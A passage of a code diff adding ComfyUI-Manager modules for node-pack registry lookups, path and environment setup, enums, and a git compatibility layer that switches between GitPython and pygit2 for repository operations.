+    url = f"{base_url}/nodes/{node_id}/versions?statuses=NodeVersionStatusActive&statuses=NodeVersionStatusPending"
+
+    response = requests.get(url, verify=not manager_util.bypass_ssl)
+    if response.status_code == 200:
+        return response.json()
+    else:
+        return None
+
+
+def read_cnr_info(fullpath):
+    try:
+        toml_path = os.path.join(fullpath, 'pyproject.toml')
+        tracking_path = os.path.join(fullpath, '.tracking')
+
+        if not os.path.exists(toml_path) or not os.path.exists(tracking_path):
+            return None  # not valid CNR node pack
+
+        with open(toml_path, "r", encoding="utf-8") as f:
+            data = toml.load(f)
+
+            project = data.get('project', {})
+            name = project.get('name').strip().lower()
+            original_name = project.get('name')
+
+            # normalize version
+            # for example: 2.5 -> 2.5.0
+            version = str(manager_util.StrictVersion(project.get('version')))
+
+            urls = project.get('urls', {})
+            repository = urls.get('Repository')
+
+            if name and version:  # repository is optional
+                return {
+                    "id": name,
+                    "original_name": original_name,
+                    "version": version,
+                    "url": repository
+                }
+
+        return None
+    except Exception:
+        return None  # not valid CNR node pack
+
+
+def generate_cnr_id(fullpath, cnr_id):
+    cnr_id_path = os.path.join(fullpath, '.git', '.cnr-id')
+    try:
+        if not os.path.exists(cnr_id_path):
+            with open(cnr_id_path, "w") as f:
+                return f.write(cnr_id)
+    except Exception:
+        logging.error(f"[ComfyUI Manager] unable to create file: {cnr_id_path}")
+
+
+def read_cnr_id(fullpath):
+    cnr_id_path = os.path.join(fullpath, '.git', '.cnr-id')
+    try:
+        if os.path.exists(cnr_id_path):
+            with open(cnr_id_path) as f:
+                return f.read().strip()
+    except Exception:
+        pass
+
+    return None
+

comfyui_manager/common/context.py

@@ -0,0 +1,105 @@
+import sys
+import os
+import logging
+from . import manager_util
+import toml
+from .git_compat import open_repo
+
+
+# read env vars
+comfy_path: str = os.environ.get('COMFYUI_PATH')
+comfy_base_path = os.environ.get('COMFYUI_FOLDERS_BASE_PATH')
+
+if comfy_path is None:
+    try:
+        comfy_path = os.path.abspath(os.path.dirname(sys.modules['__main__'].__file__))
+        os.environ['COMFYUI_PATH'] = comfy_path
+    except Exception:
+        logging.error("[ComfyUI-Manager] environment variable 'COMFYUI_PATH' is not specified.")
+        exit(-1)
+
+if comfy_base_path is None:
+    comfy_base_path = comfy_path
+
+channel_list_template_path = os.path.join(manager_util.comfyui_manager_path, 'channels.list.template')
+git_script_path = os.path.join(manager_util.comfyui_manager_path, "common", "git_helper.py")
+
+manager_files_path = None
+manager_config_path = None
+manager_channel_list_path = None
+manager_startup_script_path:str = None
+manager_snapshot_path = None
+manager_pip_overrides_path = None
+manager_pip_blacklist_path = None
+manager_batch_history_path = None
+
+def update_user_directory(manager_dir):
+    global manager_files_path
+    global manager_config_path
+    global manager_channel_list_path
+    global manager_startup_script_path
+    global manager_snapshot_path
+    global manager_pip_overrides_path
+    global manager_pip_blacklist_path
+    global manager_batch_history_path
+
+    manager_files_path = manager_dir
+    if not os.path.exists(manager_files_path):
+        os.makedirs(manager_files_path)
+
+    manager_snapshot_path = os.path.join(manager_files_path, "snapshots")
+    if not os.path.exists(manager_snapshot_path):
+        os.makedirs(manager_snapshot_path)
+
+    manager_startup_script_path = os.path.join(manager_files_path, "startup-scripts")
+    if not os.path.exists(manager_startup_script_path):
+        os.makedirs(manager_startup_script_path)
+
+    manager_config_path = os.path.join(manager_files_path, 'config.ini')
+    manager_channel_list_path = os.path.join(manager_files_path, 'channels.list')
+    manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
+    manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
+    manager_util.cache_dir = os.path.join(manager_files_path, "cache")
+    manager_batch_history_path = os.path.join(manager_files_path, "batch_history")
+
+    if not os.path.exists(manager_util.cache_dir):
+        os.makedirs(manager_util.cache_dir)
+
+    if not os.path.exists(manager_batch_history_path):
+        os.makedirs(manager_batch_history_path)
+
+try:
+    import folder_paths
+    update_user_directory(folder_paths.get_system_user_directory("manager"))
+
+except Exception:
+    # fallback:
+    # This case is only possible when running with cm-cli, and in practice, this case is not actually used.
+    update_user_directory(os.path.abspath(manager_util.comfyui_manager_path))
+
+
+def get_current_comfyui_ver():
+    """
+    Extract version from pyproject.toml
+    """
+    toml_path = os.path.join(comfy_path, 'pyproject.toml')
+    if not os.path.exists(toml_path):
+        return None
+    else:
+        try:
+            with open(toml_path, "r", encoding="utf-8") as f:
+                data = toml.load(f)
+
+                project = data.get('project', {})
+                return project.get('version')
+        except Exception:
+            return None
+
+
+def get_comfyui_tag():
+    try:
+        with open_repo(comfy_path) as repo:
+            return repo.describe_tags()
+    except Exception:
+        return None
+

comfyui_manager/common/enums.py

@@ -0,0 +1,18 @@
+import enum
+
+class NetworkMode(enum.Enum):
+    PUBLIC = "public"
+    PRIVATE = "private"
+    OFFLINE = "offline"
+    PERSONAL_CLOUD = "personal_cloud"
+
+class SecurityLevel(enum.Enum):
+    STRONG = "strong"
+    NORMAL = "normal"
+    NORMAL_MINUS = "normal-minus"
+    WEAK = "weak"
+
+class DBMode(enum.Enum):
+    LOCAL = "local"
+    CACHE = "cache"
+    REMOTE = "remote"

comfyui_manager/common/git_compat.py

@@ -0,0 +1,940 @@
+"""
+git_compat.py — Compatibility layer for git operations in ComfyUI-Manager.
+
+Wraps either GitPython (`git` module) or `pygit2`, depending on availability
+and the CM_USE_PYGIT2 environment variable (set by Desktop 2.0 Launcher).
+
+Exports:
+    USE_PYGIT2          — bool: which backend is active
+    GitCommandError     — exception class for git command failures
+    open_repo(path)     — returns a repo wrapper object
+    clone_repo(url, dest, progress=None) — clone a repository
+    get_comfyui_tag(repo_path) — get describe --tags output
+    setup_git_environment(git_exe) — configure git executable path
+"""
+
+import os
+import re
+import sys
+from abc import ABC, abstractmethod
+from collections import deque
+from datetime import datetime, timezone, timedelta
+
+
+# Snapshot of the user's global `http.proxy` (captured before the config
+# search path is blanked under the pygit2 backend) so corporate proxy
+# settings survive and can be passed explicitly to fetch/clone. None means
+# "no proxy".
+_HTTP_PROXY = None
+
+
+def _to_https_url(url):
+    """Rewrite an SSH-form git URL to its anonymous HTTPS equivalent.
+
+    Handles `git@host:owner/repo(.git)` and `ssh://git@host[:port]/owner/repo(.git)`.
+    A custom SSH port is dropped — the HTTPS endpoint of a hosting service
+    lives on the standard port regardless of its SSH port. Leading slashes in
+    the path part are collapsed so `git@host:/abs/path` does not yield a
+    double-slash URL. Returns the URL unchanged if it is not SSH-form, so
+    pygit2 clone/fetch of public repos never requires SSH credentials even
+    when a repo's own config stores an SSH origin.
+    """
+    if not url:
+        return url
+    m = re.match(r"^ssh://git@([^:/]+)(?::\d+)?/(.+)$", url)
+    if m is None:
+        m = re.match(r"^git@([^:/]+):(.+)$", url)
+    if m:
+        return "https://%s/%s" % (m.group(1), m.group(2).lstrip("/"))
+    return url
+
+# ---------------------------------------------------------------------------
+# Backend selection
+# ---------------------------------------------------------------------------
+
+_PYGIT2_REQUESTED = os.environ.get('CM_USE_PYGIT2', '').strip() == '1'
+USE_PYGIT2 = _PYGIT2_REQUESTED
+
+if not USE_PYGIT2:
+    try:
+        import git as _git
+        _git.Git().execute(['git', '--version'])
+    except Exception:
+        USE_PYGIT2 = True
+
+if USE_PYGIT2:
+    try:
+        import pygit2 as _pygit2
+    except ImportError:
+        # pygit2 not available either — fall back to GitPython and let it
+        # fail at the point of use, preserving pre-existing behavior.
+        USE_PYGIT2 = False
+        _PYGIT2_REQUESTED = False
+        import git as _git
+    else:
+        # Disable owner validation once at import time.
+        # Required for Desktop 2.0 standalone installs where repo directories
+        # may be owned by a different user (e.g., system-installed paths).
+        # See CVE-2022-24765 for context on this validation.
+        _pygit2.option(_pygit2.GIT_OPT_SET_OWNER_VALIDATION, 0)
+
+        # Snapshot the global http.proxy BEFORE blanking the config search
+        # path, so a corporate proxy survives and can be passed explicitly
+        # to clone/fetch below.
+        try:
+            _global_cfg = _pygit2.Config.get_global_config()
+            try:
+                _HTTP_PROXY = _global_cfg["http.proxy"] or None
+            except Exception:
+                _HTTP_PROXY = None
+        except Exception:
+            _HTTP_PROXY = None
+
+        # Ignore system/global/XDG git config for libgit2 operations. A
+        # user's global config can carry `insteadOf` rewrites (e.g.
+        # https->ssh) or credential helpers that force authentication,
+        # which libgit2 cannot satisfy without a credentials callback
+        # ("authentication required but no callback set"). The bundled
+        # pygit2 has no SSH transport, so an SSH rewrite can never succeed;
+        # blanking the config search path keeps clone/fetch on anonymous
+        # HTTPS.
+        try:
+            from pygit2.enums import ConfigLevel as _ConfigLevel
+            _cfg_levels = [_ConfigLevel.SYSTEM, _ConfigLevel.XDG, _ConfigLevel.GLOBAL]
+        except (ImportError, AttributeError):
+            _cfg_levels = [
+                _pygit2.GIT_CONFIG_LEVEL_SYSTEM,
+                _pygit2.GIT_CONFIG_LEVEL_XDG,
+                _pygit2.GIT_CONFIG_LEVEL_GLOBAL,
+            ]
+        for _lvl in _cfg_levels:
+            try:
+                _pygit2.settings.search_path[_lvl] = ""
+            except Exception:
+                pass
+
+if not USE_PYGIT2:
+    import git as _git
+
+# ---------------------------------------------------------------------------
+# Shared exception type
+# ---------------------------------------------------------------------------
+
+if USE_PYGIT2:
+    class GitCommandError(Exception):
+        """Stand-in for git.GitCommandError when using pygit2 backend."""
+        pass
+else:
+    from git import GitCommandError  # noqa: F401
+
+# ---------------------------------------------------------------------------
+# Banner
+# ---------------------------------------------------------------------------
+
+if USE_PYGIT2:
+    if _PYGIT2_REQUESTED:
+        print("[ComfyUI-Manager] Using pygit2 backend (CM_USE_PYGIT2=1)")
+    else:
+        print("[ComfyUI-Manager] Using pygit2 backend (system git not available)")
+else:
+    print("[ComfyUI-Manager] Using GitPython backend")
+
+
+# ===================================================================
+# Abstract base class
+# ===================================================================
+
+class GitRepo(ABC):
+    """Abstract interface for git repository operations."""
+
+    @property
+    @abstractmethod
+    def working_dir(self) -> str: ...
+
+    @property
+    @abstractmethod
+    def head_commit_hexsha(self) -> str: ...
+
+    @property
+    @abstractmethod
+    def head_is_detached(self) -> bool: ...
+
+    @property
+    @abstractmethod
+    def head_commit_datetime(self): ...
+
+    @property
+    @abstractmethod
+    def active_branch_name(self) -> str: ...
+
+    @abstractmethod
+    def is_dirty(self) -> bool: ...
+
+    @abstractmethod
+    def get_tracking_remote_name(self) -> str: ...
+
+    @abstractmethod
+    def get_remote(self, name: str): ...
+
+    @abstractmethod
+    def has_ref(self, ref_name: str) -> bool: ...
+
+    @abstractmethod
+    def get_ref_commit_hexsha(self, ref_name: str) -> str: ...
+
+    @abstractmethod
+    def get_ref_commit_datetime(self, ref_name: str): ...
+
+    @abstractmethod
+    def list_remotes(self) -> list: ...
+
+    @abstractmethod
+    def get_remote_url(self, index_or_name) -> str: ...
+
+    @abstractmethod
+    def iter_commits_count(self) -> int: ...
+
+    @abstractmethod
+    def symbolic_ref(self, ref: str) -> str: ...
+
+    @abstractmethod
+    def describe_tags(self, exact_match=False): ...
+
+    @abstractmethod
+    def list_tags(self) -> list: ...
+
+    @abstractmethod
+    def list_heads(self) -> list: ...
+
+    @abstractmethod
+    def list_branches(self) -> list: ...
+
+    @abstractmethod
+    def get_head_by_name(self, name: str): ...
+
+    @abstractmethod
+    def head_commit_equals(self, other_commit) -> bool: ...
+
+    @abstractmethod
+    def get_ref_object(self, ref_name: str): ...
+
+    @abstractmethod
+    def stash(self): ...
+
+    @abstractmethod
+    def pull_ff_only(self): ...
+
+    @abstractmethod
+    def reset_hard(self, ref: str): ...
+
+    @abstractmethod
+    def create_backup_branch(self, name: str): ...
+
+    @abstractmethod
+    def checkout(self, ref): ...
+
+    @abstractmethod
+    def checkout_new_branch(self, branch_name: str, start_point: str): ...
+
+    @abstractmethod
+    def submodule_update(self): ...
+
+    @abstractmethod
+    def clear_cache(self): ...
+
+    @abstractmethod
+    def fetch_remote_by_index(self, index): ...
+
+    @abstractmethod
+    def pull_remote_by_index(self, index): ...
+
+    @abstractmethod
+    def close(self): ...
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, *args):
+        self.close()
+
+
+# ===================================================================
+# Helper types for tag/head/ref proxies
+# ===================================================================
+
+class _TagProxy:
+    """Mimics a GitPython tag reference: .name and .commit."""
+    def __init__(self, name, commit_obj):
+        self.name = name
+        self.commit = commit_obj
+
+
+class _HeadProxy:
+    """Mimics a GitPython head reference: .name and .commit."""
+    def __init__(self, name, commit_obj=None):
+        self.name = name
+        self.commit = commit_obj
+
+
+class _RefProxy:
+    """Mimics a GitPython ref: .object.hexsha, .object.committed_datetime, .reference.commit."""
+    def __init__(self, hexsha, committed_datetime, commit_obj=None):
+        self.object = type('obj', (), {
+            'hexsha': hexsha,
+            'committed_datetime': committed_datetime,
+        })()
+        self.reference = type('ref', (), {'commit': commit_obj})() if commit_obj is not None else None
+
+
+class _RemoteProxy:
+    """Mimics a GitPython remote: .name, .url, .fetch(), .pull()."""
+    def __init__(self, name, url, fetch_fn, pull_fn=None):
+        self.name = name
+        self.url = url
+        self._fetch = fetch_fn
+        self._pull = pull_fn
+
+    def fetch(self):
+        return self._fetch()
+
+    def pull(self):
+        if self._pull is not None:
+            return self._pull()
+        raise GitCommandError("pull not supported on this remote")
+
+
+# ===================================================================
+# GitPython wrapper — 1:1 pass-throughs
+# ===================================================================
+
+class _GitPythonRepo(GitRepo):
+    def __init__(self, path):
+        self._repo = _git.Repo(path)
+
+    @property
+    def working_dir(self):
+        return self._repo.working_dir
+
+    @property
+    def head_commit_hexsha(self):
+        return self._repo.head.commit.hexsha
+
+    @property
+    def head_is_detached(self):
+        return self._repo.head.is_detached
+
+    @property
+    def head_commit_datetime(self):
+        return self._repo.head.commit.committed_datetime
+
+    @property
+    def active_branch_name(self):
+        return self._repo.active_branch.name
+
+    def is_dirty(self):
+        return self._repo.is_dirty()
+
+    def get_tracking_remote_name(self):
+        return self._repo.active_branch.tracking_branch().remote_name
+
+    def get_remote(self, name):
+        r = self._repo.remote(name=name)
+        return _RemoteProxy(r.name, r.url, r.fetch, getattr(r, 'pull', None))
+
+    def has_ref(self, ref_name):
+        return ref_name in self._repo.refs
+
+    def get_ref_commit_hexsha(self, ref_name):
+        return self._repo.refs[ref_name].object.hexsha
+
+    def get_ref_commit_datetime(self, ref_name):
+        return self._repo.refs[ref_name].object.committed_datetime
+
+    def list_remotes(self):
+        return [_RemoteProxy(r.name, r.url, r.fetch, getattr(r, 'pull', None))
+                for r in self._repo.remotes]
+
+    def get_remote_url(self, index_or_name):
+        if isinstance(index_or_name, int):
+            return self._repo.remotes[index_or_name].url
+        return self._repo.remote(name=index_or_name).url
+
+    def iter_commits_count(self):
+        return len(list(self._repo.iter_commits('HEAD')))
+
+    def symbolic_ref(self, ref):
+        return self._repo.git.symbolic_ref(ref)
+
+    def describe_tags(self, exact_match=False):
+        try:
+            if exact_match:
+                return self._repo.git.describe('--tags', '--exact-match')
+            else:
+                return self._repo.git.describe('--tags')
+        except Exception:
+            return None
+
+    def list_tags(self):
+        return [_TagProxy(t.name, t.commit) for t in self._repo.tags]
+
+    def list_heads(self):
+        return [_HeadProxy(h.name, h.commit) for h in self._repo.heads]
+
+    def list_branches(self):
+        return [_HeadProxy(b.name, b.commit) for b in self._repo.branches]
+
+    def get_head_by_name(self, name):
+        head = getattr(self._repo.heads, name)
+        return _HeadProxy(head.name, head.commit)
+
+    def head_commit_equals(self, other_commit):
+        return self._repo.head.commit == other_commit
+
+    def get_ref_object(self, ref_name):
+        ref = self._repo.refs[ref_name]
+        try:
+            ref_commit = ref.reference.commit
+        except (TypeError, AttributeError):
+            ref_commit = ref.object
+        return _RefProxy(
+            ref.object.hexsha,
+            ref.object.committed_datetime,
+            commit_obj=ref_commit,
+        )
+
+    def stash(self):
+        self._repo.git.stash()
+
+    def pull_ff_only(self):
+        self._repo.git.pull('--ff-only')
+
+    def reset_hard(self, ref):
+        self._repo.git.reset('--hard', ref)
+
+    def create_backup_branch(self, name):
+        self._repo.create_head(name)
+
+    def checkout(self, ref):
+        self._repo.git.checkout(ref)
+
+    def checkout_new_branch(self, branch_name, start_point):
+        self._repo.git.checkout('-b', branch_name, start_point)
+
+    def submodule_update(self):
+        self._repo.git.submodule('update', '--init', '--recursive')
+
+    def clear_cache(self):
+        self._repo.git.clear_cache()
+
+    def fetch_remote_by_index(self, index):
+        self._repo.remotes[index].fetch()
+
+    def pull_remote_by_index(self, index):
+        self._repo.remotes[index].pull()
+
+    def close(self):
+        self._repo.close()
+
+
+# ===================================================================
+# Pygit2 wrapper
+# ===================================================================
+
+class _Pygit2Repo(GitRepo):
+    def __init__(self, path):
+        repo_path = os.path.abspath(path)
+        git_dir = os.path.join(repo_path, '.git')
+        for sub in ['refs/heads', 'refs/tags', 'refs/remotes']:
+            try:
+                os.makedirs(os.path.join(git_dir, sub), exist_ok=True)
+            except OSError:
+                pass
+        self._repo = _pygit2.Repository(git_dir)
+        self._working_dir = repo_path
+
+    def _fetch_remote(self, remote, refspecs=None):
+        """Fetch *remote* over the preserved proxy, transparently rewriting an
+        SSH-form origin to anonymous HTTPS in memory.
+
+        The bundled pygit2 has no SSH transport, so a stored `git@host:...`
+        origin would fail with an auth error. When the URL is SSH-form we fetch
+        through an in-memory anonymous remote over HTTPS, leaving `.git/config`
+        untouched (no on-disk rewrite).
+        """
+        https_url = _to_https_url(remote.url)
+        if https_url != remote.url:
+            anon = self._repo.remotes.create_anonymous(https_url)
+            anon.fetch(
+                list(refspecs) if refspecs is not None
+                else list(remote.fetch_refspecs),
+                proxy=_HTTP_PROXY,
+            )
+        elif refspecs is not None:
+            remote.fetch(list(refspecs), proxy=_HTTP_PROXY)
+        else:
+            remote.fetch(proxy=_HTTP_PROXY)
+
+    @property
+    def working_dir(self):
+        return self._working_dir
+
+    @property
+    def head_commit_hexsha(self):
+        return str(self._repo.head.peel(_pygit2.Commit).id)
+
+    @property
+    def head_is_detached(self):
+        return self._repo.head_is_detached
+
+    @property
+    def head_commit_datetime(self):
+        commit = self._repo.head.peel(_pygit2.Commit)
+        ts = commit.commit_time
+        offset_minutes = commit.commit_time_offset
+        tz = timezone(timedelta(minutes=offset_minutes))
+        return datetime.fromtimestamp(ts, tz=tz)
+
+    @property
+    def active_branch_name(self):
+        ref = self._repo.head.name
+        if ref.startswith('refs/heads/'):
+            return ref[len('refs/heads/'):]
+        return ref
+
+    def is_dirty(self):
+        st = self._repo.status()
+        for flags in st.values():
+            if flags == _pygit2.GIT_STATUS_CURRENT:
+                continue
+            if flags == _pygit2.GIT_STATUS_IGNORED:
+                continue
+            if flags == _pygit2.GIT_STATUS_WT_NEW:
+                continue
+            return True
+        return False
+
+    def get_tracking_remote_name(self):
+        branch = self._repo.branches.get(self.active_branch_name)
+        if branch is None:
+            raise GitCommandError("Cannot determine tracking branch: HEAD is detached or branch not found")
+        upstream = branch.upstream
+        if upstream is None:
+            raise GitCommandError(f"No upstream configured for branch '{self.active_branch_name}'")
+        # upstream.name can be "origin/master" or "refs/remotes/origin/master"
+        name = upstream.name
+        if name.startswith('refs/remotes/'):
+            name = name[len('refs/remotes/'):]
+        return name.split('/')[0]
+
+    def _pull_remote(self, remote):
+        """Fetch *remote* and fast-forward the active branch onto its upstream."""
+        self._fetch_remote(remote)
+        branch_name = self.active_branch_name
+        branch = self._repo.branches.get(branch_name)
+        if branch and branch.upstream:
+            remote_commit = branch.upstream.peel(_pygit2.Commit)
+            analysis, _ = self._repo.merge_analysis(remote_commit.id)
+            if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
+                self._repo.checkout_tree(self._repo.get(remote_commit.id))
+                branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
+                if branch_ref is not None:
+                    branch_ref.set_target(remote_commit.id)
+                self._repo.head.set_target(remote_commit.id)
+
+    def get_remote(self, name):
+        remote = self._repo.remotes[name]
+        return _RemoteProxy(remote.name, remote.url,
+                            lambda: self._fetch_remote(remote),
+                            lambda: self._pull_remote(remote))
+
+    def has_ref(self, ref_name):
+        for prefix in [f'refs/remotes/{ref_name}', f'refs/heads/{ref_name}',
+                        f'refs/tags/{ref_name}', ref_name]:
+            try:
+                if self._repo.references.get(prefix) is not None:
+                    return True
+            except Exception:
+                pass
+        return False
+
+    def _resolve_ref(self, ref_name):
+        for prefix in [f'refs/remotes/{ref_name}', f'refs/heads/{ref_name}',
+                        f'refs/tags/{ref_name}', ref_name]:
+            ref = self._repo.references.get(prefix)
+            if ref is not None:
+                return ref.peel(_pygit2.Commit)
+        raise GitCommandError(f"Reference not found: {ref_name}")
+
+    def get_ref_commit_hexsha(self, ref_name):
+        return str(self._resolve_ref(ref_name).id)
+
+    def get_ref_commit_datetime(self, ref_name):
+        commit = self._resolve_ref(ref_name)
+        ts = commit.commit_time
+        offset_minutes = commit.commit_time_offset
+        tz = timezone(timedelta(minutes=offset_minutes))
+        return datetime.fromtimestamp(ts, tz=tz)
+
+    def list_remotes(self):
+        result = []
+        for r in self._repo.remotes:
+            result.append(_RemoteProxy(r.name, r.url,
+                                       lambda r=r: self._fetch_remote(r),
+                                       lambda r=r: self._pull_remote(r)))
+        return result
+
+    def get_remote_url(self, index_or_name):
+        if isinstance(index_or_name, int):
+            remotes = list(self._repo.remotes)
+            return remotes[index_or_name].url
+        return self._repo.remotes[index_or_name].url
+
+    def iter_commits_count(self):
+        count = 0
+        head_commit = self._repo.head.peel(_pygit2.Commit)
+        visited = set()
+        queue = deque([head_commit.id])
+        while queue:
+            oid = queue.popleft()
+            if oid in visited:
+                continue
+            visited.add(oid)
+            count += 1
+            commit = self._repo.get(oid)
+            if commit is not None:
+                for parent_id in commit.parent_ids:
+                    if parent_id not in visited:
+                        queue.append(parent_id)
+        return count
+
+    def symbolic_ref(self, ref):
+        git_dir = self._repo.path
+        ref_file = os.path.join(git_dir, ref)
+        if os.path.isfile(ref_file):
+            with open(ref_file, 'r') as f:
+                content = f.read().strip()
+            if content.startswith('ref: '):
+                return content[5:]
+            return content
+        ref_obj = self._repo.references.get(ref)
+        if ref_obj is not None and ref_obj.type == _pygit2.GIT_REFERENCE_SYMBOLIC:
+            return ref_obj.target
+        raise GitCommandError(f"Not a symbolic reference: {ref}")
+
+    def describe_tags(self, exact_match=False):
+        try:
+            if exact_match:
+                head_oid = self._repo.head.peel(_pygit2.Commit).id
+                for ref_name in self._repo.references:
+                    if not ref_name.startswith('refs/tags/'):
+                        continue
+                    ref = self._repo.references.get(ref_name)
+                    if ref is None:
+                        continue
+                    try:
+                        if ref.peel(_pygit2.Commit).id == head_oid:
+                            return ref_name[len('refs/tags/'):]
+                    except Exception:
+                        pass
+                return None
+            else:
+                import math
+                num_objects = sum(1 for _ in self._repo.odb)
+                abbrev = max(7, math.ceil(math.log2(max(num_objects, 1)) / 2)) if num_objects > 0 else 7
+                return self._repo.describe(
+                    describe_strategy=1,
+                    abbreviated_size=abbrev,
+                )
+        except Exception:
+            return None
+
+    def list_tags(self):
+        tags = []
+        for ref_name in self._repo.references:
+            if ref_name.startswith('refs/tags/'):
+                tag_name = ref_name[len('refs/tags/'):]
+                ref = self._repo.references.get(ref_name)
+                if ref is not None:
+                    try:
+                        commit = ref.peel(_pygit2.Commit)
+                        commit_obj = type('commit', (), {
+                            'hexsha': str(commit.id),
+                            'committed_datetime': datetime.fromtimestamp(
+                                commit.commit_time,
+                                tz=timezone(timedelta(minutes=commit.commit_time_offset))
+                            ),
+                        })()
+                        tags.append(_TagProxy(tag_name, commit_obj))
+                    except Exception:
+                        tags.append(_TagProxy(tag_name, None))
+        return tags
+
+    def list_heads(self):
+        heads = []
+        for ref_name in self._repo.references:
+            if ref_name.startswith('refs/heads/'):
+                branch_name = ref_name[len('refs/heads/'):]
+                ref = self._repo.references.get(ref_name)
+                commit_obj = None
+                if ref is not None:
+                    try:
+                        commit = ref.peel(_pygit2.Commit)
+                        commit_obj = type('commit', (), {
+                            'hexsha': str(commit.id),
+                            'committed_datetime': datetime.fromtimestamp(
+                                commit.commit_time,
+                                tz=timezone(timedelta(minutes=commit.commit_time_offset))
+                            ),
+                        })()
+                    except Exception:
+                        pass
+                heads.append(_HeadProxy(branch_name, commit_obj))
+        return heads
+
+    def list_branches(self):
+        return self.list_heads()
+
+    def get_head_by_name(self, name):
+        ref = self._repo.references.get(f'refs/heads/{name}')
+        if ref is None:
+            raise AttributeError(f"Head '{name}' not found")
+        try:
+            commit = ref.peel(_pygit2.Commit)
+            commit_obj = type('commit', (), {
+                'hexsha': str(commit.id),
+                'committed_datetime': datetime.fromtimestamp(
+                    commit.commit_time,
+                    tz=timezone(timedelta(minutes=commit.commit_time_offset))
+                ),
+            })()
+        except Exception:
+            commit_obj = None
+        return _HeadProxy(name, commit_obj)
+
+    def head_commit_equals(self, other_commit):
+        head_sha = str(self._repo.head.peel(_pygit2.Commit).id)
+        if hasattr(other_commit, 'hexsha'):
+            return head_sha == other_commit.hexsha
+        return head_sha == str(other_commit)
+
+    def get_ref_object(self, ref_name):
+        commit = self._resolve_ref(ref_name)
+        hexsha = str(commit.id)
+        dt = datetime.fromtimestamp(
+            commit.commit_time,
+            tz=timezone(timedelta(minutes=commit.commit_time_offset))
+        )
+        commit_obj = type('commit', (), {
+            'hexsha': hexsha,
+            'committed_datetime': dt,
+        })()
+        return _RefProxy(hexsha, dt, commit_obj=commit_obj)
+
+    def stash(self):
+        sig = _pygit2.Signature('comfyui-manager', 'manager@comfy')
+        self._repo.stash(sig)
+
+    def pull_ff_only(self):
+        branch_name = self.active_branch_name
+        branch = self._repo.branches.get(branch_name)
+        if branch is None:
+            raise GitCommandError(f"Branch '{branch_name}' not found")
+        upstream = branch.upstream
+        if upstream is None:
+            raise GitCommandError(f"No upstream for branch '{branch_name}'")
+
+        remote_name = upstream.remote_name
+        self._fetch_remote(self._repo.remotes[remote_name])
+
+        upstream = self._repo.branches.get(branch_name).upstream
+        if upstream is None:
+            raise GitCommandError(f"Upstream lost after fetch for '{branch_name}'")
+
+        remote_commit = upstream.peel(_pygit2.Commit)
+        analysis, _ = self._repo.merge_analysis(remote_commit.id)
+
+        if analysis & _pygit2.GIT_MERGE_ANALYSIS_UP_TO_DATE:
+            return
+
+        if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
+            self._repo.checkout_tree(self._repo.get(remote_commit.id))
+            branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
+            if branch_ref is not None:
+                branch_ref.set_target(remote_commit.id)
+            self._repo.head.set_target(remote_commit.id)
+        else:
+            raise GitCommandError("Cannot fast-forward; merge or rebase required")
+
+    def reset_hard(self, ref):
+        commit = None
+        # Try as hex SHA first
+        try:
+            oid = _pygit2.Oid(hex=ref)
+            commit = self._repo.get(oid)
+        except (ValueError, Exception):
+            pass
+
+        if commit is None:
+            # Try as named reference
+            for candidate in [ref, f'refs/remotes/{ref}', f'refs/heads/{ref}', f'refs/tags/{ref}']:
+                try:
+                    ref_obj = self._repo.references.get(candidate)
+                    if ref_obj is not None:
+                        commit = ref_obj.peel(_pygit2.Commit)
+                        break
+                except Exception:
+                    continue
+
+        if commit is None:
+            raise GitCommandError(f"Cannot resolve ref: {ref}")
+
+        self._repo.reset(commit.id, _pygit2.GIT_RESET_HARD)
+
+    def create_backup_branch(self, name):
+        head_commit = self._repo.head.peel(_pygit2.Commit)
+        self._repo.branches.local.create(name, head_commit)
+
+    def checkout(self, ref):
+        # ref can be a _HeadProxy from get_head_by_name
+        if isinstance(ref, _HeadProxy):
+            ref = ref.name
+
+        branch = self._repo.branches.get(ref)
+        if branch is not None:
+            branch_ref = self._repo.lookup_reference(f'refs/heads/{ref}')
+            self._repo.checkout(branch_ref)
+            self._repo.set_head(branch_ref.name)
+            return
+
+        for prefix in [f'refs/remotes/{ref}', f'refs/tags/{ref}']:
+            ref_obj = self._repo.references.get(prefix)
+            if ref_obj is not None:
+                commit = ref_obj.peel(_pygit2.Commit)
+                self._repo.checkout_tree(self._repo.get(commit.id))
+                self._repo.set_head(commit.id)
+                return
+
+        try:
+            oid = _pygit2.Oid(hex=ref)
+            obj = self._repo.get(oid)
+            if obj is not None:
+                commit = obj.peel(_pygit2.Commit)
+                self._repo.checkout_tree(self._repo.get(commit.id))
+                self._repo.set_head(commit.id)
+                return
+        except Exception:
+            pass
+
+        raise GitCommandError(f"Cannot resolve ref for checkout: {ref}")
+
+    def checkout_new_branch(self, branch_name, start_point):
+        commit = self._resolve_ref(start_point)
+        branch = self._repo.branches.local.create(branch_name, commit)
+        for prefix in [f'refs/remotes/{start_point}']:
+            remote_ref = self._repo.references.get(prefix)
+            if remote_ref is not None:
+                try:
+                    branch.upstream = remote_ref
+                except Exception:
+                    pass
+                break
+        self._repo.checkout(branch)
+        self._repo.set_head(branch.name)
+
+    def submodule_update(self):
+        try:
+            self._repo.submodules.init()
+            self._repo.submodules.update()
+        except Exception:
+            import subprocess
+            try:
+                result = subprocess.run(
+                    ['git', 'submodule', 'update', '--init', '--recursive'],
+                    cwd=self._working_dir,
+                    capture_output=True, timeout=120,
+                )
+                if result.returncode != 0:
+                    raise GitCommandError(
+                        f"submodule update failed (exit {result.returncode}): "
+                        f"{result.stderr.decode(errors='replace')}")
+            except FileNotFoundError:
+                print("[ComfyUI-Manager] pygit2: submodule update requires system git (not installed)", file=sys.stderr)
+            except GitCommandError:
+                raise
+            except Exception as sub_e:
+                print(f"[ComfyUI-Manager] pygit2: submodule update failed: {sub_e}", file=sys.stderr)
+
+    def clear_cache(self):
+        pass
+
+    def fetch_remote_by_index(self, index):
+        remotes = list(self._repo.remotes)
+        self._fetch_remote(remotes[index])
+
+    def pull_remote_by_index(self, index):
+        remotes = list(self._repo.remotes)
+        remote = remotes[index]
+        self._fetch_remote(remote)
+        # After fetch, try to ff-merge tracking branch
+        try:
+            branch_name = self.active_branch_name
